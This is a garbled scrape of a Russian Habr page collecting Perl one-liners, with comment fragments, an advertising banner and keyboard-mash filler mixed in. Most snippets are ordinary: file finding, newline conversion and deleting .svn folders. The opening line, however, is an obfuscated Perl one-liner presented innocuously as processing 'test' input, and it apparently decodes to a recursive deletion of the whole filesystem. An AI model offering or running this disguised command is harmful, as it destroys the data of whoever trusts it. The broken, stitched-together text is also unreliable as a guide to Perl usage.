Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
LINE: while (defined($_ = )) {
print 1;
}
#!/usr/bin/env perl
my $module = shift;
my $is_loaded = eval "require $module; $module->import; 1";
unless($is_loaded) {
print "$module was not loaded: $@"
}
else {
print $module->VERSION || 'Loaded, but no $VERSION defined'
}
print $/
perl -MFile::Find -MCwd -le "$path = getcwd;finddepth(sub {print $File::Find::name if %1}, $path)"Буду благодарен вам, если напишите как заменить \r\n на \n в Винде.Если мне требуется гарантированно разграничить \r\n и \n, я предпочитаю писать явным образом \x0d и \x0a вместо \r и \n.
perl -E'say "hello"'
#!/usr/bin/perl
#!/usr/bin/perl
Xывафfdasdfasfd
asdfasfda
sfasdfasfd
asfdasdfa
sdfasdfasfd
type abc.txt | perl -pe "print $_;last"Т.е. когда надо заменить переносы строк на табуляции, например, то используем
cat config.xml | perl -pe 'do{s/\n/\t/;print}while <>'
perl -MFile::Find -e 'finddepth(sub {$n = $File::Find::name;`chmod a+x $n` if $n =~ /\.cgi$/}, ".")'А вот вариант на Perl:
perl -i.bak -pe 's/\r\n/\n/' file.txt
Примечание. Почему-то подобный код не работает в Винде: она упорно добавляет \r\n, я делал binmode ARGV,
binmode $ARGV, binmode *ARG{FILEHANDLE}, но ничего не помогало, буду биться дальше. Буду благодарен вам, если напишите как заменить \r\n на \n в Винде.
Примечание. Флаг -e должен стоять последним среди всех флагов.
Удаление папок .svn в текущей папке и её подпапках (рекурсивно)
perl -MFile::Find -MCwd -e '$path = getcwd;finddepth(sub {print $File::Find::name."\n"}, "$path")' | grep '\.svn$' | perl -ne 'system(«rm -rf $_»)';
тоже самое для Windows:
perl -MFile::Find -e «finddepth(sub{ print $File::Find::name. \»\n\"; }, '.')" | perl -ne «print if /.svn$/» | perl -pe «s|/|\\|g» | perl -ne «system(\»rd /s /q $_\");"
perl -pe 's/(.*)/bla-bla-$1/'perl -pe "s/(.*)/bla-bla-\$1/"
Однострочные программы на Perl